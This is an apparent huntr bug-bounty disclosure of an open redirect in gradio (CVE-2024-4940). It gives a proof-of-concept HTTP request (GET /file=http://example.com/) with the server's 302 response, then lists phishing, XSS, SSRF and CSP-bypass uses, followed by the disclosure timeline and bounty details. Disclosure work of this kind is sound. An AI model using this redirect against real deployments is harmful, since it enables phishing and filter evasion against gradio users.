

Open redirect in gradio-app/gradio

✓ Valid

Reported on Apr 30th 2024

Description

I reproduced this bug from <https://huntr.com/bounties/103434f9-87d2-42ea-9907-194a3c25007c>, and I noticed that it is still being exploited in the latest version.

Proof of Concept

Request

```
GET /file=http://example.com/ HTTP/1.1
Host: 127.0.0.1:7860
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, li
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: _ga_R1FN4KJKJH=GS1.1.1714449150.1.0.1714449150.0.0.0; _ga=GA1.1.1782003519.
Connection: close
```

Response:

```
HTTP/1.1 302 Found
date: Tue, 30 Apr 2024 05:14:13 GMT
server: uvicorn
content-length: 0
location: http://example.com/
Connection: close
```

Impact

Phishing: The most obvious way to use an open redirect is to steer the victim away from the original site to a site that looks the same, steal user credentials, and then return to the vulnerable website as if nothing happened. Cross-site Scripting (XSS): If the redirect allows the use of data: or javascript: protocols and the client supports such protocols in redirects, it makes it possible for the attacker to perform an XSS attack. Server-Side Request Forgery (SSRF): Open redirects may be used to evade SSRF filters. Content-Security-Policy bypassing: If you use CSP to protect against XSS and one of the whitelisted domains has an open redirect, this vulnerability may be used to bypass CSP. CRLF Injection: If the redirection parameter allows line breaks, the attacker may try to perform response header splitting.

Occurrences

 utils.py L681

References

- <https://cwe.mitre.org/data/definitions/601.html>

 We are processing your report and will contact the **gradio-app/gradio** team within 24 hours. 2 years ago



 **huntr-helper** modified the Severity from High (8.6) to Medium (5.4) 2 years ago

 We have contacted a member of the **gradio-app/gradio** team and are waiting to hear back 2 years ago

 We have sent a follow up to the **gradio-app/gradio** team. We will try again in 4 days. 2 years ago



d47secc commented 2 years ago

Researcher

Hi @maintainer @admin Are there any updates on this bug?

 We have sent a second follow up to the **gradio-app/gradio** team. We will try again in 7 days. 2 years ago



Abubakar Abid commented 2 years ago

Maintainer

Thanks for reporting. We'll take a look and fix this as soon as we get a chance



A **gradio-app/gradio** maintainer has acknowledged this report 2 years ago

 The scheduled publication date was automatically extended from 15th Jun 2024 to 22nd Jun 2024 due to the maintainers acknowledgement of the report 2 years ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



Abubakar Abid validated this vulnerability 2 years ago

\$ **d47secc** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7



CVE-2024-4940 assigned to this report. 2 years ago



d47secc commented 2 years ago

Researcher

Hi @maintainer , Could I receive a bounty for this report ?



Abubakar Abid commented 2 years ago

Maintainer

Hi, it says that:

d47secc has been awarded the disclosure bounty

⚠ We have sent a warning to the **gradio-app/gradio** team to inform them that this report will be published in 48 hours 2 years ago



This vulnerability has now been published 2 years ago



CVE-2024-4940 has now been published 2 years ago



We have notified the **gradio-app/gradio** maintainers about this report in their weekly follow-up a year ago

[Sign in](#) to join this conversation

CVE
CVE-2024-4940
Published

Vulnerability Type
CWE-601: Open Redirect

Severity
Medium (5.4)

Attack vector

Network

Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	Low
Integrity	Low
Availability	None

[Open in visual CVSS calculator](#) 

Registry

Pypi

Affected Version

Latest

Visibility

Public

Status

Awaiting fix

Disclosure Bounty

\$125

Fix Bounty

\$31.25

Found by



d47secc

@d47secc

LIGHTWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)